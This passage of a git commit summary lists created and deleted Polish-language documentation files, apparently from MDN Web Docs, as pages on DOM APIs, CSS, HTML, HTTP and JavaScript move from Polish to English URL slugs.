files/pl/web/api/element/parentnode/index.html delete mode 100644 files/pl/web/api/element/prefix/index.html delete mode 100644 files/pl/web/api/element/previoussibling/index.html delete mode 100644 files/pl/web/api/element/removechild/index.html delete mode 100644 files/pl/web/api/element/replacechild/index.html delete mode 100644 files/pl/web/api/element/style/index.html delete mode 100644 files/pl/web/api/element/tabindex/index.html delete mode 100644 files/pl/web/api/element/textcontent/index.html create mode 100644 files/pl/web/api/elementcssinlinestyle/style/index.html delete mode 100644 files/pl/web/api/event/altkey/index.html delete mode 100644 files/pl/web/api/event/button/index.html delete mode 100644 files/pl/web/api/event/cancelbubble/index.html delete mode 100644 files/pl/web/api/event/charcode/index.html delete mode 100644 files/pl/web/api/event/clientx/index.html delete mode 100644 files/pl/web/api/event/clienty/index.html delete mode 100644 files/pl/web/api/event/ctrlkey/index.html delete mode 100644 files/pl/web/api/event/initmouseevent/index.html delete mode 100644 files/pl/web/api/event/inituievent/index.html delete mode 100644 files/pl/web/api/event/ischar/index.html delete mode 100644 files/pl/web/api/event/keycode/index.html delete mode 100644 files/pl/web/api/event/layerx/index.html delete mode 100644 files/pl/web/api/event/layery/index.html delete mode 100644 files/pl/web/api/event/metakey/index.html delete mode 100644 files/pl/web/api/event/pagex/index.html delete mode 100644 files/pl/web/api/event/pagey/index.html delete mode 100644 files/pl/web/api/event/relatedtarget/index.html delete mode 100644 files/pl/web/api/event/screenx/index.html delete mode 100644 files/pl/web/api/event/screeny/index.html delete mode 100644 files/pl/web/api/event/shiftkey/index.html delete mode 100644 files/pl/web/api/event/view/index.html create mode 100644 files/pl/web/api/eventtarget/addeventlistener/index.html create mode 100644 files/pl/web/api/eventtarget/dispatchevent/index.html create mode 100644 files/pl/web/api/globaleventhandlers/onclick/index.html create mode 100644 files/pl/web/api/globaleventhandlers/onkeydown/index.html create mode 100644 files/pl/web/api/globaleventhandlers/onkeypress/index.html create mode 100644 files/pl/web/api/globaleventhandlers/onkeyup/index.html create mode 100644 files/pl/web/api/globaleventhandlers/onload/index.html create mode 100644 files/pl/web/api/globaleventhandlers/onmousedown/index.html create mode 100644 files/pl/web/api/globaleventhandlers/onmousemove/index.html create mode 100644 files/pl/web/api/htmlelement/click/index.html delete mode 100644 files/pl/web/api/htmlelement/dataset/index.html create mode 100644 files/pl/web/api/htmlelement/dir/index.html create mode 100644 files/pl/web/api/htmlelement/lang/index.html create mode 100644 files/pl/web/api/htmlelement/offsetheight/index.html create mode 100644 files/pl/web/api/htmlelement/offsetleft/index.html create mode 100644 files/pl/web/api/htmlelement/offsetparent/index.html create mode 100644 files/pl/web/api/htmlelement/offsetwidth/index.html create mode 100644 files/pl/web/api/htmlorforeignelement/blur/index.html create mode 100644 files/pl/web/api/htmlorforeignelement/dataset/index.html create mode 100644 files/pl/web/api/htmlorforeignelement/focus/index.html create mode 100644 files/pl/web/api/htmlorforeignelement/tabindex/index.html create mode 100644 files/pl/web/api/keyboardevent/charcode/index.html create mode 100644 files/pl/web/api/keyboardevent/keycode/index.html create mode 100644 files/pl/web/api/mouseevent/altkey/index.html create mode 100644 files/pl/web/api/mouseevent/button/index.html create mode 100644 files/pl/web/api/mouseevent/clientx/index.html create mode 100644 files/pl/web/api/mouseevent/clienty/index.html create mode 100644 files/pl/web/api/mouseevent/ctrlkey/index.html create mode 100644 files/pl/web/api/mouseevent/initmouseevent/index.html create mode 100644 files/pl/web/api/mouseevent/metakey/index.html create mode 100644 files/pl/web/api/mouseevent/relatedtarget/index.html create mode 100644 files/pl/web/api/mouseevent/screenx/index.html create mode 100644 files/pl/web/api/mouseevent/screeny/index.html create mode 100644 files/pl/web/api/mouseevent/shiftkey/index.html delete mode 100644 files/pl/web/api/navigator/appcodename/index.html delete mode 100644 files/pl/web/api/navigator/appname/index.html delete mode 100644 files/pl/web/api/navigator/appversion/index.html delete mode 100644 files/pl/web/api/navigator/javaenabled/index.html delete mode 100644 files/pl/web/api/navigator/language/index.html delete mode 100644 files/pl/web/api/navigator/mimetypes/index.html delete mode 100644 files/pl/web/api/navigator/online/index.html delete mode 100644 files/pl/web/api/navigator/platform/index.html delete mode 100644 files/pl/web/api/navigator/plugins/index.html delete mode 100644 files/pl/web/api/navigator/product/index.html create mode 100644 files/pl/web/api/navigatorid/appcodename/index.html create mode 100644 files/pl/web/api/navigatorid/appname/index.html create mode 100644 files/pl/web/api/navigatorid/appversion/index.html create mode 100644 files/pl/web/api/navigatorid/platform/index.html create mode 100644 files/pl/web/api/navigatorid/product/index.html create mode 100644 files/pl/web/api/navigatorlanguage/language/index.html create mode 100644 files/pl/web/api/navigatoronline/online/index.html create mode 100644 files/pl/web/api/navigatoronline/online_and_offline_events/index.html delete mode 100644 files/pl/web/api/navigatoronline/zdarzenia_online_i_offline/index.html create mode 100644 files/pl/web/api/navigatorplugins/javaenabled/index.html create mode 100644 files/pl/web/api/navigatorplugins/mimetypes/index.html create mode 100644 files/pl/web/api/navigatorplugins/plugins/index.html create mode 100644 files/pl/web/api/node/appendchild/index.html create mode 100644 files/pl/web/api/node/childnodes/index.html create mode 100644 files/pl/web/api/node/clonenode/index.html create mode 100644 files/pl/web/api/node/firstchild/index.html create mode 100644 files/pl/web/api/node/haschildnodes/index.html create mode 100644 files/pl/web/api/node/insertbefore/index.html create mode 100644 files/pl/web/api/node/lastchild/index.html create mode 100644 files/pl/web/api/node/localname/index.html create mode 100644 files/pl/web/api/node/namespaceuri/index.html create mode 100644 files/pl/web/api/node/nextsibling/index.html create mode 100644 files/pl/web/api/node/nodename/index.html create mode 100644 files/pl/web/api/node/nodetype/index.html create mode 100644 files/pl/web/api/node/nodevalue/index.html create mode 100644 files/pl/web/api/node/normalize/index.html create mode 100644 files/pl/web/api/node/ownerdocument/index.html create mode 100644 files/pl/web/api/node/parentnode/index.html create mode 100644 files/pl/web/api/node/prefix/index.html create mode 100644 files/pl/web/api/node/previoussibling/index.html create mode 100644 files/pl/web/api/node/removechild/index.html create mode 100644 files/pl/web/api/node/replacechild/index.html create mode 100644 files/pl/web/api/node/textcontent/index.html create mode 100644 files/pl/web/api/nodelist/length/index.html create mode 100644 files/pl/web/api/notification/index.html delete mode 100644 files/pl/web/api/powiadomienie/index.html delete mode 100644 files/pl/web/api/storage/index.html delete mode 100644 files/pl/web/api/stylesheet/cssrules/index.html delete mode 100644 files/pl/web/api/stylesheet/deleterule/index.html delete mode 100644 files/pl/web/api/stylesheet/index.html delete mode 100644 files/pl/web/api/stylesheet/insertrule/index.html delete mode 100644 files/pl/web/api/stylesheet/ownerrule/index.html create mode 100644 files/pl/web/api/touch_events/index.html create mode 100644 files/pl/web/api/uievent/cancelbubble/index.html create mode 100644 files/pl/web/api/uievent/inituievent/index.html create mode 100644 files/pl/web/api/uievent/ischar/index.html create mode 100644 files/pl/web/api/uievent/layerx/index.html create mode 100644 files/pl/web/api/uievent/layery/index.html create mode 100644 files/pl/web/api/uievent/pagex/index.html create mode 100644 files/pl/web/api/uievent/pagey/index.html create mode 100644 files/pl/web/api/uievent/view/index.html create mode 100644 files/pl/web/api/web_storage_api/index.html create mode 100644 files/pl/web/api/websockets_api/index.html delete mode 100644 files/pl/web/api/window/clearinterval/index.html delete mode 100644 files/pl/web/api/window/cleartimeout/index.html delete mode 100644 files/pl/web/api/window/onload/index.html delete mode 100644 files/pl/web/api/window/setinterval/index.html delete mode 100644 files/pl/web/api/window/settimeout/index.html delete mode 100644 files/pl/web/api/windowbase64/atob/index.html delete mode 100644 files/pl/web/api/windowbase64/btoa/index.html delete mode 100644 files/pl/web/api/windowbase64/index.html create mode 100644 files/pl/web/api/windoworworkerglobalscope/atob/index.html create mode 100644 files/pl/web/api/windoworworkerglobalscope/btoa/index.html create mode 100644 files/pl/web/api/windoworworkerglobalscope/clearinterval/index.html create mode 100644 files/pl/web/api/windoworworkerglobalscope/cleartimeout/index.html create mode 100644 files/pl/web/api/windoworworkerglobalscope/index.html create mode 100644 files/pl/web/api/windoworworkerglobalscope/setinterval/index.html create mode 100644 files/pl/web/api/windoworworkerglobalscope/settimeout/index.html create mode 100644 files/pl/web/api/xmlhttprequest/index.html create mode 100644 files/pl/web/api/xmlhttprequest/using_xmlhttprequest/index.html delete mode 100644 files/pl/web/api/zdarzenia_dotykowe/index.html delete mode 100644 "files/pl/web/bezpiecze\305\204stwo/certificate_transparency/index.html" delete mode 100644 "files/pl/web/bezpiecze\305\204stwo/index.html" delete mode 100644 "files/pl/web/bezpiecze\305\204stwo/podstawy_bezpieczenstwa_informacji/index.html" delete mode 100644 "files/pl/web/bezpiecze\305\204stwo/same-origin_policy/index.html" delete mode 100644 "files/pl/web/bezpiecze\305\204stwo/subresource_integrity/index.html" delete mode 100644 files/pl/web/css/-moz-box-align/index.html delete mode 100644 files/pl/web/css/-moz-box-flex/index.html delete mode 100644 files/pl/web/css/-moz-box-orient/index.html delete mode 100644 files/pl/web/css/-moz-box-pack/index.html delete mode 100644 files/pl/web/css/-moz-outline-color/index.html create mode 100644 files/pl/web/css/_colon_-moz-first-node/index.html delete mode 100644 files/pl/web/css/_colon_after/index.html delete mode 100644 files/pl/web/css/_colon_before/index.html delete mode 100644 files/pl/web/css/_colon_first-letter/index.html delete mode 100644 files/pl/web/css/_colon_first-node/index.html create mode 100644 files/pl/web/css/_doublecolon_after/index.html create mode 100644 files/pl/web/css/_doublecolon_before/index.html create mode 100644 files/pl/web/css/_doublecolon_first-letter/index.html create mode 100644 files/pl/web/css/box-align/index.html create mode 100644 files/pl/web/css/box-flex/index.html create mode 100644 files/pl/web/css/box-orient/index.html create mode 100644 files/pl/web/css/box-pack/index.html create mode 100644 files/pl/web/css/class_selectors/index.html create mode 100644 files/pl/web/css/css_basic_user_interface/using_url_values_for_the_cursor_property/index.html create mode 100644 files/pl/web/css/css_color/index.html create mode 100644 files/pl/web/css/css_colors/color_picker_tool/index.html delete mode 100644 files/pl/web/css/css_colors/index.html delete mode 100644 files/pl/web/css/css_colors/narzedzie_doboru_kolorow/index.html create mode 100644 files/pl/web/css/css_columns/using_multi-column_layouts/index.html delete mode 100644 files/pl/web/css/css_grid_layout/realizacja_typowych_ukladow_za_pomoca_ukladu_siatki_css/index.html create mode 100644 files/pl/web/css/css_grid_layout/realizing_common_layouts_using_css_grid_layout/index.html create mode 100644 files/pl/web/css/css_lists_and_counters/using_css_counters/index.html delete mode 100644 files/pl/web/css/css_reference/index.html create mode 100644 files/pl/web/css/css_selectors/using_the__colon_target_pseudo-class_in_selectors/index.html delete mode 100644 "files/pl/web/css/css_selectors/u\305\274ycie_pseudoklasy__colon_target_w_selektorach/index.html" delete mode 100644 "files/pl/web/css/cursor/u\305\274ycie_warto\305\233ci_url_dla_w\305\202asno\305\233ci_cursor/index.html" delete mode 100644 "files/pl/web/css/cz\304\231ste_pytania_o_css/index.html" delete mode 100644 files/pl/web/css/dziedziczenie/index.html create mode 100644 files/pl/web/css/inheritance/index.html create mode 100644 files/pl/web/css/initial_value/index.html delete mode 100644 files/pl/web/css/inne_zasoby/index.html create mode 100644 files/pl/web/css/media_queries/testing_media_queries/index.html delete mode 100644 "files/pl/web/css/na_pocz\304\205tek/bloki/index.html" delete mode 100644 "files/pl/web/css/na_pocz\304\205tek/czym_jest_css/index.html" delete mode 100644 "files/pl/web/css/na_pocz\304\205tek/czytelny_css/index.html" delete mode 100644 "files/pl/web/css/na_pocz\304\205tek/grafika_svg/index.html" delete mode 100644 "files/pl/web/css/na_pocz\304\205tek/index.html" delete mode 100644 "files/pl/web/css/na_pocz\304\205tek/jak_dzia\305\202a_css/index.html" delete mode 100644 "files/pl/web/css/na_pocz\304\205tek/javascript/index.html" delete mode 100644 "files/pl/web/css/na_pocz\304\205tek/kaskadowo\305\233\304\207_i_dziedziczenie/index.html" delete mode 100644 "files/pl/web/css/na_pocz\304\205tek/kolor/index.html" delete mode 100644 "files/pl/web/css/na_pocz\304\205tek/listy/index.html" delete mode 100644 "files/pl/web/css/na_pocz\304\205tek/media/index.html" delete mode 100644 "files/pl/web/css/na_pocz\304\205tek/po_co_u\305\274ywa\304\207_css/index.html" delete mode 100644 "files/pl/web/css/na_pocz\304\205tek/selektory/index.html" delete mode 100644 "files/pl/web/css/na_pocz\304\205tek/style_tekstowe/index.html" delete mode 100644 "files/pl/web/css/na_pocz\304\205tek/tables/index.html" delete mode 100644 "files/pl/web/css/na_pocz\304\205tek/uk\305\202ad/index.html" create mode 100644 files/pl/web/css/outline-color/index.html create mode 100644 files/pl/web/css/privacy_and_the__colon_visited_selector/index.html delete mode 100644 files/pl/web/css/prywatnosc_i_znacznik__colon_visited/index.html create mode 100644 files/pl/web/css/reference/index.html delete mode 100644 files/pl/web/css/rozszerzenia_webkit/index.html delete mode 100644 files/pl/web/css/selektor_klasy/index.html delete mode 100644 files/pl/web/css/selektor_uniwersalny/index.html delete mode 100644 files/pl/web/css/selektory_typu/index.html create mode 100644 files/pl/web/css/shorthand_properties/index.html delete mode 100644 "files/pl/web/css/skr\303\263cone_deklaracje_css/index.html" create mode 100644 files/pl/web/css/type_selectors/index.html create mode 100644 files/pl/web/css/universal_selectors/index.html delete mode 100644 "files/pl/web/css/warto\305\233\304\207_pocz\304\205tkowa/index.html" create mode 100644 files/pl/web/css/webkit_extensions/index.html delete mode 100644 "files/pl/web/dost\304\231pno\305\233\304\207/an_overview_of_accessible_web_applications_and_widgets/index.html" delete mode 100644 "files/pl/web/dost\304\231pno\305\233\304\207/index.html" delete mode 100644 "files/pl/web/dost\304\231pno\305\233\304\207/keyboard-navigable_javascript_widgets/index.html" create mode 100644 files/pl/web/guide/ajax/getting_started/index.html delete mode 100644 "files/pl/web/guide/ajax/na_pocz\304\205tek/index.html" delete mode 100644 files/pl/web/guide/css/kolumny_css3/index.html delete mode 100644 files/pl/web/guide/css/sprawdzanie_media_queries/index.html create mode 100644 files/pl/web/guide/events/creating_and_triggering_events/index.html create mode 100644 files/pl/web/guide/html/html5/index.html delete mode 100644 files/pl/web/guide/liczniki_css/index.html delete mode 100644 files/pl/web/html(pl)/index.html delete mode 100644 files/pl/web/html(pl)/tryb_zgodnosci_oraz_tryb_standardow/index.html create mode 100644 files/pl/web/html/block-level_elements/index.html delete mode 100644 files/pl/web/html/canvas/index.html delete mode 100644 files/pl/web/html/element/comment/index.html delete mode 100644 files/pl/web/html/elementy_blokowe/index.html delete mode 100644 files/pl/web/html/elementy_liniowe/index.html delete mode 100644 files/pl/web/html/global_attributes/pisownia/index.html create mode 100644 files/pl/web/html/global_attributes/spellcheck/index.html create mode 100644 files/pl/web/html/inline_elements/index.html delete mode 100644 files/pl/web/html/kontrola_sprawdzania_pisowni_w_formularzach_html/index.html create mode 100644 files/pl/web/html/quirks_mode_and_standards_mode/index.html delete mode 100644 "files/pl/web/html/zarz\304\205dzanie_fokusem_w_html/index.html" delete mode 100644 files/pl/web/html/znaczenie_poprawnego_komentowania/index.html create mode 100644 files/pl/web/http/basics_of_http/mime_types/index.html delete mode 100644 files/pl/web/http/ciasteczka/index.html create mode 100644 files/pl/web/http/cookies/index.html delete mode 100644 files/pl/web/http/headers/data/index.html create mode 100644 files/pl/web/http/headers/date/index.html delete mode 100644 "files/pl/web/http/http_wiadomosci_og\303\263lne/index.html" create mode 100644 files/pl/web/http/overview/index.html create mode 100644 files/pl/web/javascript/a_re-introduction_to_javascript/index.html create mode 100644 files/pl/web/javascript/about_javascript/index.html create mode 100644 files/pl/web/javascript/closures/index.html create mode 100644 files/pl/web/javascript/data_structures/index.html delete mode 100644 files/pl/web/javascript/domkniecia/index.html delete mode 100644 files/pl/web/javascript/dziedziczenie_lancuch_prototypow/index.html create mode 100644 files/pl/web/javascript/guide/details_of_the_object_model/index.html create mode 100644 files/pl/web/javascript/guide/expressions_and_operators/index.html create mode 100644 files/pl/web/javascript/guide/functions/index.html delete mode 100644 files/pl/web/javascript/guide/funkcje/index.html create mode 100644 files/pl/web/javascript/guide/grammar_and_types/index.html delete mode 100644 files/pl/web/javascript/guide/o_tym_przewodniku/index.html delete mode 100644 files/pl/web/javascript/guide/obsolete_pages/index.html delete mode 100644 "files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/blok_instrukcji/index.html" delete mode 100644 "files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/definiowanie_funkcji/index.html" delete mode 100644 "files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/dodawanie_obiektom_nowej_funkcjonalno\305\233ci/index.html" delete mode 100644 "files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/funkcje_predefiniowane/funkcja_eval/index.html" delete mode 100644 "files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/funkcje_predefiniowane/funkcja_isfinite/index.html" delete mode 100644 "files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/funkcje_predefiniowane/funkcja_isnan/index.html" delete mode 100644 "files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/funkcje_predefiniowane/funkcje_escape_i_unescape/index.html" delete mode 100644 "files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/funkcje_predefiniowane/funkcje_number_i_string/index.html" delete mode 100644 "files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/funkcje_predefiniowane/funkcje_parseint_i_parsefloat/index.html" delete mode 100644 "files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/funkcje_predefiniowane/index.html" delete mode 100644 "files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/index.html" delete mode 100644 "files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/instrukcje_komentarzy/index.html" delete mode 100644 "files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/instrukcje_manipulacji_obiektem/index.html" delete mode 100644 "files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/instrukcje_obs\305\202ugi_wyj\304\205tk\303\263w/index.html" delete mode 100644 "files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/instrukcje_obs\305\202ugi_wyj\304\205tk\303\263w/instrukcja_throw/index.html" delete mode 100644 "files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/instrukcje_obs\305\202ugi_wyj\304\205tk\303\263w/instrukcja_try...catch/index.html" delete mode 100644 "files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/instrukcje_p\304\231tli/index.html" delete mode 100644 "files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/instrukcje_p\304\231tli/instrukcja_break/index.html" delete mode 100644 "files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/instrukcje_p\304\231tli/instrukcja_continue/index.html" delete mode 100644 "files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/instrukcje_p\304\231tli/instrukcja_do_...while/index.html" delete mode 100644 "files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/instrukcje_p\304\231tli/instrukcja_for/index.html" delete mode 100644 "files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/instrukcje_p\304\231tli/instrukcja_label/index.html" delete mode 100644 "files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/instrukcje_p\304\231tli/instrukcja_while/index.html" delete mode 100644 "files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/instrukcje_warunkowe/index.html" delete mode 100644 "files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/litera\305\202y/index.html" delete mode 100644 "files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/o_tym_przewodniku/index.html" delete mode 100644 "files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/obiekty_i_w\305\202asno\305\233ci/index.html" delete mode 100644 "files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/obiekty_predefiniowane/index.html" delete mode 100644 "files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/obiekty_predefiniowane/obiekt_array/index.html" delete mode 100644 "files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/obiekty_predefiniowane/obiekt_boolean/index.html" delete mode 100644 "files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/obiekty_predefiniowane/obiekt_date/index.html" delete mode 100644 "files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/obiekty_predefiniowane/obiekt_function/index.html" delete mode 100644 "files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/obiekty_predefiniowane/obiekt_math/index.html" delete mode 100644 "files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/obiekty_predefiniowane/obiekt_number/index.html" delete mode 100644 "files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/obiekty_predefiniowane/obiekt_regexp/index.html" delete mode 100644 "files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/obiekty_predefiniowane/obiekt_string/index.html" delete mode 100644 "files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/operatory/index.html" delete mode 100644 "files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/operatory/operacje_na_\305\202a\305\204cuchach/index.html" delete mode 100644 "files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/operatory/operatory_arytmetyczne/index.html" delete mode 100644 "files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/operatory/operatory_logiczne/index.html" delete mode 100644 "files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/operatory/operatory_por\303\263wnania/index.html" delete mode 100644 "files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/operatory/operatory_przypisania/index.html" delete mode 100644 "files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/operatory/operatory_specjalne/index.html" delete mode 100644 "files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/podgl\304\205d_klas_liveconnect/index.html" delete mode 100644 "files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/powr\303\263t_dziedziczenia_w\305\202asno\305\233ci/index.html" delete mode 100644 "files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/powr\303\263t_dziedziczenia_w\305\202asno\305\233ci/warto\305\233ci_lokalne_vs._dziedziczone/index.html" delete mode 100644 "files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/praca_z_przyk\305\202adem/index.html" delete mode 100644 "files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/praca_z_przyk\305\202adem/tworzenie_hierarchii/index.html" delete mode 100644 "files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/praca_z_przyk\305\202adem/w\305\202asno\305\233ci_obiektu/dodawanie_w\305\202asno\305\233ci/index.html" delete mode 100644 "files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/praca_z_przyk\305\202adem/w\305\202asno\305\233ci_obiektu/dziedziczenie_w\305\202asno\305\233ci/index.html" delete mode 100644 "files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/praca_z_przyk\305\202adem/w\305\202asno\305\233ci_obiektu/index.html" delete mode 100644 "files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/praca_z_wyra\305\274eniami_regularnymi/globalne_wyszukiwanie,_wielko\305\233\304\207_znak\303\263w,_wieloliniowe_wej\305\233cie/index.html" delete mode 100644 "files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/praca_z_wyra\305\274eniami_regularnymi/przyk\305\202ady_wyra\305\274e\305\204_regularnych/index.html" delete mode 100644 "files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/praca_z_zamkni\304\231ciami/index.html" delete mode 100644 "files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/sta\305\202e/index.html" delete mode 100644 "files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/tworzenie_nowych_obiekt\303\263w/definiowanie_metod/index.html" delete mode 100644 "files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/tworzenie_nowych_obiekt\303\263w/definiowanie_w\305\202asno\305\233ci_typu_obiektu/index.html" delete mode 100644 "files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/tworzenie_nowych_obiekt\303\263w/indeksowanie_w\305\202asno\305\233ci_obiektu/index.html" delete mode 100644 "files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/tworzenie_nowych_obiekt\303\263w/index.html" delete mode 100644 "files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/tworzenie_nowych_obiekt\303\263w/usuwanie_w\305\202asno\305\233ci/index.html" delete mode 100644 "files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/tworzenie_nowych_obiekt\303\263w/u\305\274ywanie_inicjacji_obiektu/index.html" delete mode 100644 "files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/tworzenie_nowych_obiekt\303\263w/zastosowanie_'this'_do_obiektu_referencji/index.html" delete mode 100644 "files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/tworzenie_nowych_obiekt\303\263w/zastosowanie_konstruktor\303\263w_funkcji/index.html" delete mode 100644 "files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/tworzenie_wyra\305\274enia_regularnego/index.html" delete mode 100644 "files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/unicode/index.html" delete mode 100644 "files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/warto\305\233ci/index.html" delete mode 100644 "files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/wyra\305\274enia/index.html" delete mode 100644 "files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/wywo\305\202anie_funkcji/index.html" delete mode 100644 "files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/zapisywanie_wzorca_wyra\305\274enia_regularnego/index.html" delete mode 100644 "files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/zastosowanie_obiektu_arguments/index.html" delete mode 100644 "files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_j\304\231zyku_javascript_1.5/zmienne/index.html" create mode 100644 files/pl/web/javascript/guide/regular_expressions/index.html delete mode 100644 "files/pl/web/javascript/guide/sk\305\202adnia_i_typy/index.html" create mode 100644 files/pl/web/javascript/guide/working_with_objects/index.html create mode 100644 files/pl/web/javascript/inheritance_and_the_prototype_chain/index.html create mode 100644 files/pl/web/javascript/language_resources/index.html delete mode 100644 "files/pl/web/javascript/na_pocz\304\205tek/index.html" delete mode 100644 files/pl/web/javascript/o_javascript/index.html delete mode 100644 files/pl/web/javascript/ponowne_wprowadzenie_do_javascript/index.html create mode 100644 files/pl/web/javascript/reference/about/index.html create mode 100644 files/pl/web/javascript/reference/classes/constructor/index.html delete mode 100644 files/pl/web/javascript/reference/classes/konstruktor/index.html create mode 100644 files/pl/web/javascript/reference/deprecated_and_obsolete_features/index.html delete mode 100644 "files/pl/web/javascript/reference/errors/brakuj\304\205cy_\305\233rednik_po_w\305\202asno\305\233ci_id/index.html" create mode 100644 files/pl/web/javascript/reference/errors/missing_colon_after_property_id/index.html create mode 100644 files/pl/web/javascript/reference/functions/arguments/callee/index.html create mode 100644 files/pl/web/javascript/reference/functions/arguments/index.html create mode 100644 files/pl/web/javascript/reference/functions/arguments/length/index.html create mode 100644 files/pl/web/javascript/reference/functions/arrow_functions/index.html create mode 100644 files/pl/web/javascript/reference/functions/default_parameters/index.html delete mode 100644 files/pl/web/javascript/reference/functions/funkcje_strzalkowe/index.html delete mode 100644 "files/pl/web/javascript/reference/functions/parametry_domy\305\233lne/index.html" create mode 100644 files/pl/web/javascript/reference/global_objects/array/concat/index.html create mode 100644 files/pl/web/javascript/reference/global_objects/array/copywithin/index.html create mode 100644 files/pl/web/javascript/reference/global_objects/array/entries/index.html create mode 100644 files/pl/web/javascript/reference/global_objects/array/every/index.html create mode 100644 files/pl/web/javascript/reference/global_objects/array/fill/index.html create mode 100644 files/pl/web/javascript/reference/global_objects/array/filter/index.html create mode 100644 